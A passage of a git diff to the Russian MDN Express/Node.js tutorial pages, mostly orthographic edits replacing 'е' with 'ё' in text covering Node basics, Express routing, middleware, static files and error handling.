class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_3">Мы расскажем об основных функциях и покажем вам некоторые из основных строительных блоков приложений Express (хотя на данный момент у вас еще нет среды разработки, в которой можно ее протестировать)</span>.</dd> + <dd>В первой статье об Express мы ответим на вопросы "Что такое Node?" и "Что такое Express?" и дадим вам представление о том, что делает веб-фреймворк Express особенным. <span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_3">Мы расскажем об основных функциях и покажем вам некоторые из основных строительных блоков приложений Express (хотя на данный момент у вас ещё нет среды разработки, в которой можно её протестировать)</span>.</dd> <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Настройка среды разработки Node (Express)</a></dt> <dd> <div style="padding-bottom: 30px;"><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_0">Теперь, когда вы знаете, что такое Express, мы покажем вам, как настроить и протестировать среду разработки Node/Express в Windows, Linux (Ubuntu) и Mac OS X. Независимо от того, какую популярную операционную систему вы используете, эта статья </span><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_1">даст вам то, что вам нужно, чтобы начать разработку приложений Express.</span></div> @@ -46,18 +46,18 @@ translation_of: Learn/Server-side/Express_Nodejs <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Учебник Express часть 4: Маршруты и контроллеры</a></dt> <dd>В этом уроке мы создадим маршруты (код обработки URL) с "фиктивным" обработчиком функций для всех конечных точек ресурсов, которые нам в конечном итоге понадобятся для сайта<em> LocalLibrary</em>. По завершении мы будем иметь модульную структуру нашего кода обработки маршрута, который мы можем расширить с помощью функций реального обработчика в следующих статьях. Мы также будем очень хорошо понимать, как создавать модульные маршруты, используя Express.</dd> <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Учебник Express часть 5: Отображение данных библиотеки</a></dt> - <dd>Теперь мы готовы добавить страницы, на которых будут отображаться книги веб-сайта <em>LocalLibrary</em> и другие данные. Страницы будут включать главную страницу, которая показывает сколько записей определенного типа мы имеем и отдельную страницу для детального просмотра записи. По пути мы получим практический опыт в получении записей из баз данных и использовании шаблонов.</dd> + <dd>Теперь мы готовы добавить страницы, на которых будут отображаться книги веб-сайта <em>LocalLibrary</em> и другие данные. Страницы будут включать главную страницу, которая показывает сколько записей определённого типа мы имеем и отдельную страницу для детального просмотра записи. По пути мы получим практический опыт в получении записей из баз данных и использовании шаблонов.</dd> <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Учебник Express часть 6: Работы с формами</a></dt> <dd>В этой части мы покажем вам, как работать с <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML формами</a> в Express, используя Pug, и в частности, как создавать, обновлять и удалять документы из базы данных.</dd> <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Учебник Express часть 7: Выкладка в production</a></dt> - <dd>Теперь когда вы создали восхитительный сайт <em>LocalLibrary</em>, вы захотите установить его на общедоступном сервере, чтобы он мог дать доступ персоналу библиотеки и пользователям в Интернет. В этой статье представлен обзор того, как вы можете найти хост для развертывания вашего сайта и что вам нужно сделать, чтобы подготовить ваш сайт к публикации.</dd> + <dd>Теперь когда вы создали восхитительный сайт <em>LocalLibrary</em>, вы захотите установить его на общедоступном сервере, чтобы он мог дать доступ персоналу библиотеки и пользователям в Интернет. В этой статье представлен обзор того, как вы можете найти хост для развёртывания вашего сайта и что вам нужно сделать, чтобы подготовить ваш сайт к публикации.</dd> </dl> <h2 id="Смотрите_также">Смотрите также</h2> <dl> <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">Установка LocalLibrary на PWS/Cloud Foundry</a></dt> - <dd>В этой статье представлена практическая демонстрация того, как установить <em>LocalLibrary</em> на <a href="http://run.pivotal.io">облаке Pivotal Web Services PaaS</a> — это полнофункциональная альтернатива с открытым исходным кодом для Heroku, облачного сервиса PaaS используемого в части 7 этого учебника, представленного выше. PWS/Cloud Foundry определенно стоит попробовать, если вы ищете альтернативу Heroku (или другому PaaS облачному сервису), или просто хотите попробовать что-то другое.</dd> + <dd>В этой статье представлена практическая демонстрация того, как установить <em>LocalLibrary</em> на <a href="http://run.pivotal.io">облаке Pivotal Web Services PaaS</a> — это полнофункциональная альтернатива с открытым исходным кодом для Heroku, облачного сервиса PaaS используемого в части 7 этого учебника, представленного выше. PWS/Cloud Foundry определённо стоит попробовать, если вы ищете альтернативу Heroku (или другому PaaS облачному сервису), или просто хотите попробовать что-то другое.</dd> </dl> <h2 id="Изучите_другие_учебники">Изучите другие учебники</h2> diff --git a/files/ru/learn/server-side/express_nodejs/introduction/index.html b/files/ru/learn/server-side/express_nodejs/introduction/index.html index 96f5db6121..36bf2f9eb9 100644 --- a/files/ru/learn/server-side/express_nodejs/introduction/index.html +++ b/files/ru/learn/server-side/express_nodejs/introduction/index.html @@ -5,7 +5,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Introduction --- <div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div> -<p class="summary">В этой первой статье по Express мы ответим на вопросы "Что такое Node?" и "Что такое Express?", и сделаем обзор того, что делает веб-фреймворк Express таким особенным. <span id="result_box" lang="ru"><span>Мы расскажем об основных функциях и покажем вам некоторые из основных строительных блоков приложения Express (хотя на данный момент у вас еще нет среды разработки, в которой можно ее протестировать).</span></span></p> +<p class="summary">В этой первой статье по Express мы ответим на вопросы "Что такое Node?" и "Что такое Express?", и сделаем обзор того, что делает веб-фреймворк Express таким особенным. <span id="result_box" lang="ru"><span>Мы расскажем об основных функциях и покажем вам некоторые из основных строительных блоков приложения Express (хотя на данный момент у вас ещё нет среды разработки, в которой можно её протестировать).</span></span></p> <table class="learn-box standard-table"> <tbody> @@ -27,10 +27,10 @@ translation_of: Learn/Server-side/Express_Nodejs/Introduction <p>С точки зрения веб-серверной разработки Node имеет ряд преимуществ:</p> <ul> - <li>Отличная производительность! Node <span id="result_box" lang="ru"><span>был разработан для оптимизации пропускной способности и масштабируемости в веб-приложениях и очень хорошо справляется со многими распространенными проблемами веб-разработки (например, веб-приложения реального времени).</span></span></li> + <li>Отличная производительность! Node <span id="result_box" lang="ru"><span>был разработан для оптимизации пропускной способности и масштабируемости в веб-приложениях и очень хорошо справляется со многими распространёнными проблемами веб-разработки (например, веб-приложения реального времени).</span></span></li> <li><span id="result_box" lang="ru"><span>Код написан на «обычном старом JavaScript», а это означает, что затрачивается меньше времени при написании кода для браузера и веб-сервера связанное с «переключением технологий» между языками.</span></span></li> <li><span id="result_box" lang="ru"><span>JavaScript является относительно новым языком программирования и имеет преимущества от улучшения дизайна языка по сравнению с другими традиционными языками для веб-серверов</span></span> (например, Python, PHP, и т.д.). Многие другие новые и популярные языки компилируются/конвертируются в JavaScript, поэтому вы можете также использовать CoffeeScript, ClosureScript, Scala, LiveScript, etc.</li> - <li>Менеджер пакетов Node (NPM) <span id="result_box" lang="ru"><span>обеспечивает доступ к сотням тысяч многоразовых пакетов.</span> <span>Он также имеет лучшее в своем классе разрешение зависимостей и может также использоваться для автоматизации большинства инструментов построения.</span></span></li> + <li>Менеджер пакетов Node (NPM) <span id="result_box" lang="ru"><span>обеспечивает доступ к сотням тысяч многоразовых пакетов.</span> <span>Он также имеет лучшее в своём классе разрешение зависимостей и может также использоваться для автоматизации большинства инструментов построения.</span></span></li> <li>Он портативен, имеет версии для Microsoft Windows, OS X, Linux, Solaris, FreeBSD, OpenBSD, WebOS, и NonStop OS. Кроме того, он имеет хорошую поддержку среди многих хостинг-провайдеров, <span id="result_box" lang="ru"><span>которые часто предоставляют конкретную инфраструктуру и документацию для размещения сайтов, работающих на Node.</span></span></li> <li><span id="result_box" lang="ru"><span>Он имеет очень активную стороннюю экосистему и сообщество разработчиков, которые всегда готовы помочь.</span></span></li> </ul> @@ -43,7 +43,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Introduction <ol> <li>Откройте терминал (в Windows окно командной строки)</li> - <li>Создайте папку, куда вы хотите сохранить программу, к примеру <code>test-node</code> и перейдите в нее с помощью следующей команды:</li> + <li>Создайте папку, куда вы хотите сохранить программу, к примеру <code>test-node</code> и перейдите в неё с помощью следующей команды:</li> </ol> <pre class="notranslate"><code>cd test-node</code></pre> @@ -58,7 +58,7 @@ const http = require("http"); const hostname = "127.0.0.1"; const port = 8000; -// Создаем HTTP-сервер +// Создаём HTTP-сервер const server = http.createServer((req, res) => { // Устанавливаем HTTP-заголовок ответа с HTTP статусом и Content type @@ -114,7 +114,7 @@ server.listen(port, hostname, () => { <p>Популярность веб-фреймворка важна, поскольку она является индикатором того, будет ли она продолжаться, и какие ресурсы, вероятно, будут доступны с точки зрения документации, дополнительных библиотек и технической поддержки.</p> -<p>Не существует какого-либо доступного и точного измерения популярности серверных фреймворков (хотя сайты, такие как Hot Frameworks, пытаются оценить популярность, используя такие механизмы, как подсчет количества проектов на GitHub и вопросов на StackOverflow для каждой платформы). Лучший вопрос заключается в том, достаточно ли популярны Node и Express, чтобы избежать проблем с непопулярными платформами. Они продолжают развиваться? Можете ли вы получить помощь, если вам это нужно? Есть ли у вас возможность получить оплачиваемую работу, если вы изучаете Express?</p> +<p>Не существует какого-либо доступного и точного измерения популярности серверных фреймворков (хотя сайты, такие как Hot Frameworks, пытаются оценить популярность, используя такие механизмы, как подсчёт количества проектов на GitHub и вопросов на StackOverflow для каждой платформы). Лучший вопрос заключается в том, достаточно ли популярны Node и Express, чтобы избежать проблем с непопулярными платформами. Они продолжают развиваться? Можете ли вы получить помощь, если вам это нужно? Есть ли у вас возможность получить оплачиваемую работу, если вы изучаете Express?</p> <p>Как только мы посмотрим на список <a href="https://expressjs.com/en/resources/companies-using-express.html">широкоизвестных компаний</a> пользующихся Express, количество разработчиков участвующих в разработке Express, и громадному числу людей, которые занимаются поддержкой Express, то мы с уверенностью скажем - <em>Express</em> поистине популярный фреймворк!</p> @@ -122,7 +122,7 @@ server.listen(port, hostname, () => { <p>Web-фреймворки часто принято делить на "ограничивающие" и "не ограничивающие".</p> -<p>Ограничивающими фреймворки считаются фреймворки, которые следуют "должным" ограничениям при выполнении отдельных задач. Довольно часто они ориентированы на ускоренную разработку <em>в конкретной области</em> (решение задач определенного типа), поскольку должный подход к произвольно выбранной задаче бывает не прост для понимания и плохо документирован. При этом они лишаются гибкости при решении задач выходящих за сферу их обычного применения, а так же проявляют тенденцию к ограничению выбора компонентов и подходов своего применения. </p> +<p>Ограничивающими фреймворки считаются фреймворки, которые следуют "должным" ограничениям при выполнении отдельных задач. Довольно часто они ориентированы на ускоренную разработку <em>в конкретной области</em> (решение задач определённого типа), поскольку должный подход к произвольно выбранной задаче бывает не прост для понимания и плохо документирован. При этом они лишаются гибкости при решении задач выходящих за сферу их обычного применения, а так же проявляют тенденцию к ограничению выбора компонентов и подходов своего применения. </p> <p>Напротив, не ограничивающие фреймворки имеют гораздо меньше ограничений для связи компонентов, что бы достичь цели или ограничений в выборе используемых компонентов. Они облегчают разработчикам использование наиболее подходящих инструментов для выполнения конкретной задачи, но платой за это будет то, что вы самостоятельно должны найти такие компоненты.</p> @@ -130,7 +130,7 @@ server.listen(port, hostname, () => { <h2 id="Как_выглядит_код_Express">Как выглядит код Express?</h2> -<p>В традиционных динамических веб-сайтах, веб-приложение ожидает HTTP-запроса от веб-браузера (или другого клиента). Когда запрос получен, приложение определяет, какое действие необходимо выполнить на основе URL шаблона и, возможно, связанной информации, содержащейся в данных <code>POST</code> или <code>GET</code>. В зависимости от того, что требуется, Express может затем читать или записывать данные из/в базы данных или выполнять другие задачи, в соответствии с полученным запросом. Затем приложение возвращает ответ в веб-браузер, зачастую динамически создавая HTML страницу для отображения браузером, вставляя извлеченные данные в заполнители HTML шаблона.</p> +<p>В традиционных динамических веб-сайтах, веб-приложение ожидает HTTP-запроса от веб-браузера (или другого клиента). Когда запрос получен, приложение определяет, какое действие необходимо выполнить на основе URL шаблона и, возможно, связанной информации, содержащейся в данных <code>POST</code> или <code>GET</code>. В зависимости от того, что требуется, Express может затем читать или записывать данные из/в базы данных или выполнять другие задачи, в соответствии с полученным запросом. Затем приложение возвращает ответ в веб-браузер, зачастую динамически создавая HTML страницу для отображения браузером, вставляя извлечённые данные в заполнители HTML шаблона.</p> <p>Express предоставляет методы позволяющие указать, какая функция вызывается для конкретного HTTP запроса (<code>GET</code>, <code>POST</code>, <code>SET</code>, etc.), и URL шаблон ("Route"), а также методы позволяющие указать, какой механизм шаблона ("view") используется, где находятся шаблоны файлов и какой шаблон использовать для вывода ответа. Вы можете использовать Express middleware для добавления поддержки файлов cookies, сеансов, и пользователей, получения <code>POST</code>/<code>GET</code> параметров, и т.д. Вы можете использовать любой механизм базы данных, поддерживаемый Node (Express не определяет поведение, связанное с базой данных).</p> @@ -158,15 +158,15 @@ app.listen(3000, function() { <p><span class="tlid-translation translation" lang="ru"><span title="">Первые две строки требуют () (импорт) модуля Express и создания приложения Express.</span> <span title="">Этот объект, который традиционно называется app, имеет методы для маршрутизации HTTP-запросов, настройки промежуточного программного обеспечения, рендеринга представлений HTML, регистрации механизма шаблонов и изменения параметров приложения, которые управляют поведением приложения (например, режим среды, чувствительны ли определения маршрута к регистру).</span> <span title="">, и т.д.)</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Средняя часть кода (три строки, начинающиеся с app.get) показывает определение маршрута.</span> <span title="">Метод app.get () указывает колбэк-функцию, которая будет вызываться всякий раз, когда есть HTTP-запрос GET с путем ('/') относительно корня сайта.</span> <span title="">Колбэк-функция принимает запрос и объект ответа в качестве аргументов и просто вызывает send () для ответа, чтобы вернуть строку «Hello World!»</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Средняя часть кода (три строки, начинающиеся с app.get) показывает определение маршрута.</span> <span title="">Метод app.get () указывает колбэк-функцию, которая будет вызываться всякий раз, когда есть HTTP-запрос GET с путём ('/') относительно корня сайта.</span> <span title="">Колбэк-функция принимает запрос и объект ответа в качестве аргументов и просто вызывает send () для ответа, чтобы вернуть строку «Hello World!»</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Последний блок запускает сервер через порт «3000» и печатает комментарий журнала в консоль.</span> <span title="">Когда сервер работает, вы можете перейти к localhost: 3000 в вашем браузере, чтобы увидеть возвращенный пример ответа.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Последний блок запускает сервер через порт «3000» и печатает комментарий журнала в консоль.</span> <span title="">Когда сервер работает, вы можете перейти к localhost: 3000 в вашем браузере, чтобы увидеть возвращённый пример ответа.</span></span></p> <h3 id="Импорт_и_создание_модулей"><span class="tlid-translation translation" lang="ru"><span title="">Импорт и создание модулей</span></span></h3> <p><span class="tlid-translation translation" lang="ru"><span title="">Модуль - это библиотека / файл JavaScript, который вы можете импортировать в другой код с помощью функции require () Node.</span> <span title="">Express сам по себе является модулем, как и промежуточное программное обеспечение и библиотеки баз данных, которые мы используем в наших приложениях Express.</span><br> <br> - <span title="">Приведенный ниже код показывает, как мы импортируем модуль по имени, используя в качестве примера платформу Express.</span> <span title="">Сначала мы вызываем функцию require (), определяя имя модуля в виде строки («express») и вызывая возвращенный объект для создания приложения Express.</span> <span title="">Затем мы можем получить доступ к свойствам и функциям объекта приложения.</span></span></p> + <span title="">Приведённый ниже код показывает, как мы импортируем модуль по имени, используя в качестве примера платформу Express.</span> <span title="">Сначала мы вызываем функцию require (), определяя имя модуля в виде строки («express») и вызывая возвращённый объект для создания приложения Express.</span> <span title="">Затем мы можем получить доступ к свойствам и функциям объекта приложения.</span></span></p> <pre class="brush: js notranslate">var express = require('express'); var app = express(); @@ -175,7 +175,7 @@ var app = express(); <p><span class="tlid-translation translation" lang="ru"><span title="">Вы также можете создавать свои собственные модули, которые можно импортировать таким же образом.</span></span></p> <div class="note"> -<p><span class="tlid-translation translation" lang="ru"><span title="">Совет: вы захотите создать свои собственные модули, потому что это позволяет вам организовать ваш код в управляемые части - монолитное однофайловое приложение трудно понять и поддерживать.</span> <span title="">Использование модулей также помогает вам управлять пространством имен, поскольку при использовании модуля импортируются только те переменные, которые вы явно экспортировали.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Совет: вы захотите создать свои собственные модули, потому что это позволяет вам организовать ваш код в управляемые части - монолитное однофайловое приложение трудно понять и поддерживать.</span> <span title="">Использование модулей также помогает вам управлять пространством имён, поскольку при использовании модуля импортируются только те переменные, которые вы явно экспортировали.</span></span></p> </div> <p><span class="tlid-translation translation" lang="ru"><span title="">Чтобы сделать объекты доступными вне модуля, вам просто нужно назначить их объекту экспорта.</span> <span title="">Например, модуль square.js ниже представляет собой файл, который экспортирует методы area () и perimeter ():</span></span></p> @@ -216,7 +216,7 @@ console.log('The area of a square with a width of 4 is ' + square.area(4));</pre console.log('Second'); </pre> -<p><span class="tlid-translation translation" lang="ru"><span title="">В отличие от этого, асинхронный API - это тот, в котором API начнет операцию и сразу же вернется (до завершения операции).</span> <span title="">После завершения операции API будет использовать некоторый механизм для выполнения дополнительных операций.</span> <span title="">Например, приведенный ниже код выведет «Second, First», потому что хотя метод setTimeout () вызывается первым и возвращается немедленно, операция не завершается в течение нескольких секунд.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В отличие от этого, асинхронный API - это тот, в котором API начнёт операцию и сразу же вернётся (до завершения операции).</span> <span title="">После завершения операции API будет использовать некоторый механизм для выполнения дополнительных операций.</span> <span title="">Например, приведённый ниже код выведет «Second, First», потому что хотя метод setTimeout () вызывается первым и возвращается немедленно, операция не завершается в течение нескольких секунд.</span></span></p> <pre class="brush: js notranslate">setTimeout(function() { console.log('First'); @@ -224,9 +224,9 @@ console.log('Second'); console.log('Second'); </pre> -<p><span class="tlid-translation translation" lang="ru"><span title="">Использование неблокирующих асинхронных API-интерфейсов еще более важно в Node, чем в браузере, поскольку Node - это однопоточная среда выполнения, управляемая событиями.</span> <span title="">«Однопоточный» означает, что все запросы к серверу выполняются в одном потоке (а не порождаются в отдельных процессах).</span> <span title="">Эта модель чрезвычайно эффективна с точки зрения скорости и ресурсов сервера, но это означает, что если любая из ваших функций вызывает синхронные методы, выполнение которых занимает много времени, они будут блокировать не только текущий запрос, но и любой другой запрос, обрабатываемый</span> <span title="">ваше веб-приложение.</span><br> +<p><span class="tlid-translation translation" lang="ru"><span title="">Использование неблокирующих асинхронных API-интерфейсов ещё более важно в Node, чем в браузере, поскольку Node - это однопоточная среда выполнения, управляемая событиями.</span> <span title="">«Однопоточный» означает, что все запросы к серверу выполняются в одном потоке (а не порождаются в отдельных процессах).</span> <span title="">Эта модель чрезвычайно эффективна с точки зрения скорости и ресурсов сервера, но это означает, что если любая из ваших функций вызывает синхронные методы, выполнение которых занимает много времени, они будут блокировать не только текущий запрос, но и любой другой запрос, обрабатываемый</span> <span title="">ваше веб-приложение.</span><br> <br> - <span title="">Есть несколько способов, которыми асинхронный API уведомляет ваше приложение о том, что оно завершено.</span> <span title="">Наиболее распространенный способ - зарегистрировать колбэк-функцию при вызове асинхронного API, который будет вызываться после завершения операции.</span> <span title="">Это подход, использованный выше.</span></span></p> + <span title="">Есть несколько способов, которыми асинхронный API уведомляет ваше приложение о том, что оно завершено.</span> <span title="">Наиболее распространённый способ - зарегистрировать колбэк-функцию при вызове асинхронного API, который будет вызываться после завершения операции.</span> <span title="">Это подход, использованный выше.</span></span></p> <div class="note"> <p><span class="tlid-translation translation" lang="ru"><span title="">Совет: Использование колбэков может быть довольно «грязным», если у вас есть последовательность зависимых асинхронных операций, которые должны выполняться по порядку, потому что это приводит к нескольким уровням вложенных колбэков.</span> <span title="">Эта проблема широко известна как «ад колбэков».</span> <span title="">Эту проблему можно решить с помощью хороших методов кодирования (см. Http://callbackhell.com/), использования такого модуля, как async, или даже перехода к функциям ES6, таким как Promises.</span></span></p> @@ -253,16 +253,16 @@ console.log('Second'); <p><span class="tlid-translation translation" lang="ru"><span title="">Объект приложения Express также предоставляет методы для определения обработчиков маршрутов для всех других HTTP-глаголов, которые в основном используются одинаково: post (), put (), delete (), options (), trace (), copy (</span> <span title="">), lock (), mkcol (), move (), purge (), propfind (), proppatch (), unlock (), report (), mkactivity (), checkout (), merge (</span> <span title="">), m-search (), notify (), subscribe (), unsubscribe (), patch (), search () и connect ().</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Существует специальный метод маршрутизации app.all (), который будет вызываться в ответ на любой метод HTTP.</span> <span title="">Это используется для загрузки функций промежуточного программного обеспечения по определенному пути для всех методов запроса.</span> <span title="">В следующем примере (из документации Express) показан обработчик, который будет выполняться для запросов к / secret независимо от используемого глагола HTTP (при условии, что он поддерживается модулем http).</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Существует специальный метод маршрутизации app.all (), который будет вызываться в ответ на любой метод HTTP.</span> <span title="">Это используется для загрузки функций промежуточного программного обеспечения по определённому пути для всех методов запроса.</span> <span title="">В следующем примере (из документации Express) показан обработчик, который будет выполняться для запросов к / secret независимо от используемого глагола HTTP (при условии, что он поддерживается модулем http).</span></span></p> <pre class="brush: js notranslate">app.all('/secret', function(req, res, next) { console.log('Accessing the secret section ...'); next(); // pass control to the next handler });</pre> -<p><span class="tlid-translation translation" lang="ru"><span title="">Маршруты позволяют сопоставлять определенные шаблоны символов в URL-адресе, извлекать некоторые значения из URL-адреса и передавать их в качестве параметров обработчику маршрута (в качестве атрибутов объекта запроса, передаваемого в качестве параметра).</span><br> +<p><span class="tlid-translation translation" lang="ru"><span title="">Маршруты позволяют сопоставлять определённые шаблоны символов в URL-адресе, извлекать некоторые значения из URL-адреса и передавать их в качестве параметров обработчику маршрута (в качестве атрибутов объекта запроса, передаваемого в качестве параметра).</span><br> <br> - <span title="">Часто полезно группировать обработчики маршрутов для определенной части сайта и получать к ним доступ с помощью общего префикса маршрута (например, сайт с вики может иметь все связанные с вики маршруты в одном файле и иметь к ним доступ с префиксом маршрута</span> <span title="">из / вики /).</span> <span title="">В Express это достигается с помощью объекта express.Router.</span> <span title="">Например, мы можем создать наш вики-маршрут в модуле с именем wiki.js, а затем экспортировать объект Router, как показано ниже:</span></span></p> + <span title="">Часто полезно группировать обработчики маршрутов для определённой части сайта и получать к ним доступ с помощью общего префикса маршрута (например, сайт с вики может иметь все связанные с вики маршруты в одном файле и иметь к ним доступ с префиксом маршрута</span> <span title="">из / вики /).</span> <span title="">В Express это достигается с помощью объекта express.Router.</span> <span title="">Например, мы можем создать наш вики-маршрут в модуле с именем wiki.js, а затем экспортировать объект Router, как показано ниже:</span></span></p> <pre class="brush: js notranslate">// wiki.js - Wiki route module @@ -304,7 +304,7 @@ app.use('/wiki', wiki);</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Большинство приложений используют стороннее промежуточное программное обеспечение для упрощения общих задач веб-разработки, таких как работа с файлами cookie, сессиями, аутентификацией пользователя, доступом к данным запросов POST и JSON, ведение журнала и т. д. Список пакетов промежуточного программного обеспечения, поддерживаемых командой Express, можно найти.</span> <span title="">(который также включает в себя другие популярные сторонние пакеты).</span> <span title="">Другие экспресс-пакеты доступны в диспетчере пакетов NPM.</span><br> <br> - <span title="">Для использования стороннего промежуточного программного обеспечения сначала необходимо установить его в свое приложение с помощью NPM.</span> <span title="">Например, чтобы установить промежуточное программное обеспечение средства регистрации HTTP-запросов morgan, вы должны сделать следующее:</span></span></p> + <span title="">Для использования стороннего промежуточного программного обеспечения сначала необходимо установить его в своё приложение с помощью NPM.</span> <span title="">Например, чтобы установить промежуточное программное обеспечение средства регистрации HTTP-запросов morgan, вы должны сделать следующее:</span></span></p> <pre class="brush: bash notranslate"><code>$ npm install morgan </code></pre> @@ -321,11 +321,11 @@ var app = express(); <p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Промежуточное программное обеспечение и функции маршрутизации вызываются в том порядке, в котором они были объявлены.</span> <span title="">Для некоторого промежуточного программного обеспечения важен порядок (например, если промежуточное программное обеспечение сеанса зависит от промежуточного программного обеспечения cookie, то сначала должен быть добавлен обработчик cookie).</span> <span title="">Почти всегда случается так, что промежуточное ПО вызывается перед настройкой маршрутов, иначе ваши обработчики маршрутов не будут иметь доступа к функциям, добавленным вашим промежуточным ПО.</span></span></p> </div> -<p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете написать свои собственные функции промежуточного программного обеспечения, и вам, вероятно, придется это сделать (хотя бы для создания кода обработки ошибок).</span> <span title="">Единственное различие между функцией промежуточного программного обеспечения и обратным вызовом обработчика маршрута состоит в том, что функции промежуточного программного обеспечения имеют третий аргумент, следующий: какие функции промежуточного программного обеспечения должны вызываться, если они не завершают цикл запроса (когда вызывается функция промежуточного программного обеспечения, она содержит следующую функцию).</span> <span title="">это надо называть).</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете написать свои собственные функции промежуточного программного обеспечения, и вам, вероятно, придётся это сделать (хотя бы для создания кода обработки ошибок).</span> <span title="">Единственное различие между функцией промежуточного программного обеспечения и обратным вызовом обработчика маршрута состоит в том, что функции промежуточного программного обеспечения имеют третий аргумент, следующий: какие функции промежуточного программного обеспечения должны вызываться, если они не завершают цикл запроса (когда вызывается функция промежуточного программного обеспечения, она содержит следующую функцию).</span> <span title="">это надо называть).</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете добавить функцию промежуточного программного обеспечения в цепочку обработки с помощью app.use () или app.add (), в зависимости от того, хотите ли вы применить промежуточное программное обеспечение ко всем ответам или к ответам с определенным глаголом HTTP (GET, POST и т. д.).</span> <span title="">)</span><span title="">.</span> <span title="">Маршруты задаются одинаково в обоих случаях, хотя маршрут необязателен при вызове app.use ().</span><br> +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете добавить функцию промежуточного программного обеспечения в цепочку обработки с помощью app.use () или app.add (), в зависимости от того, хотите ли вы применить промежуточное программное обеспечение ко всем ответам или к ответам с определённым глаголом HTTP (GET, POST и т. д.).</span> <span title="">)</span><span title="">.</span> <span title="">Маршруты задаются одинаково в обоих случаях, хотя маршрут необязателен при вызове app.use ().</span><br> <br> - <span title="">В приведенном ниже примере показано, как можно добавить функцию промежуточного программного обеспечения, используя оба метода, а также с / без маршрута.</span></span></p> + <span title="">В приведённом ниже примере показано, как можно добавить функцию промежуточного программного обеспечения, используя оба метода, а также с / без маршрута.</span></span></p> <pre class="brush: js notranslate">var express = require('express'); var app = express(); @@ -348,7 +348,7 @@ app.get('/', a_middleware_function); app.listen(3000);</pre> <div class="note"> -<p><span class="tlid-translation translation" lang="ru"><span title="">Совет по JavaScript: выше мы объявляем функцию промежуточного программного обеспечения отдельно, а затем устанавливаем ее в качестве колбэка.</span> <span title="">В нашей предыдущей функции обработчика маршрута мы объявили колбэк-функцию, когда она использовалась.</span> <span title="">В JavaScript любой подход является допустимым.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Совет по JavaScript: выше мы объявляем функцию промежуточного программного обеспечения отдельно, а затем устанавливаем её в качестве колбэка.</span> <span title="">В нашей предыдущей функции обработчика маршрута мы объявили колбэк-функцию, когда она использовалась.</span> <span title="">В JavaScript любой подход является допустимым.</span></span></p> </div> <p><span class="tlid-translation translation" lang="ru"><span title="">Документация по Express содержит намного больше отличной информации по использованию и написанию промежуточного программного обеспечения Express.</span></span></p> @@ -360,7 +360,7 @@ app.listen(3000);</pre> <pre class="brush: js notranslate">app.use(express.static('public')); </pre> -<p><span class="tlid-translation translation" lang="ru"><span title="">Любые файлы в публичном каталоге обслуживаются путем добавления их имени файла (относительно базового «публичного» каталога) к базовому URL.</span> <span title="">Так, например:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Любые файлы в публичном каталоге обслуживаются путём добавления их имени файла (относительно базового «публичного» каталога) к базовому URL.</span> <span title="">Так, например:</span></span></p> <pre class="notranslate"><code>http://localhost:3000/images/dog.jpg http://localhost:3000/css/style.css @@ -390,7 +390,7 @@ http://localhost:3000/media/cry.mp3</code> <h3 id="Обработка_ошибок"><span class="tlid-translation translation" lang="ru"><span title="">Обработка ошибок</span></span></h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Ошибки обрабатываются одной или несколькими специальными функциями промежуточного программного обеспечения, которые имеют четыре аргумента вместо обычных трех: (err, req, res, next).</span> <span title="">Например:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Ошибки обрабатываются одной или несколькими специальными функциями промежуточного программного обеспечения, которые имеют четыре аргумента вместо обычных трёх: (err, req, res, next).</span> <span title="">Например:</span></span></p> <pre class="brush: js notranslate">app.use(function(err, req, res, next) { console.error(err.stack); @@ -400,7 +400,7 @@ http://localhost:3000/media/cry.mp3</code> <p><span class="tlid-translation translation" lang="ru"><span title="">Они могут возвращать любой требуемый контент, но должны вызываться после всех других app.use () и маршрутизировать вызовы, чтобы они были последним промежуточным ПО в процессе обработки запросов!</span><br> <br> - <span title="">Express поставляется со встроенным обработчиком ошибок, который заботится обо всех оставшихся ошибках, которые могут возникнуть в приложении.</span> <span title="">Эта промежуточная функция обработки ошибок по умолчанию добавляется в конец стека функций промежуточного программного обеспечения.</span> <span title="">Если вы передаете ошибку в next () и не обрабатываете ее в обработчике ошибок, она будет обработана встроенным обработчиком ошибок;</span> <span title="">ошибка будет записана клиенту с трассировкой стека.</span></span></p> + <span title="">Express поставляется со встроенным обработчиком ошибок, который заботится обо всех оставшихся ошибках, которые могут возникнуть в приложении.</span> <span title="">Эта промежуточная функция обработки ошибок по умолчанию добавляется в конец стека функций промежуточного программного обеспечения.</span> <span title="">Если вы передаёте ошибку в next () и не обрабатываете её в обработчике ошибок, она будет обработана встроенным обработчиком ошибок;</span> <span title="">ошибка будет записана 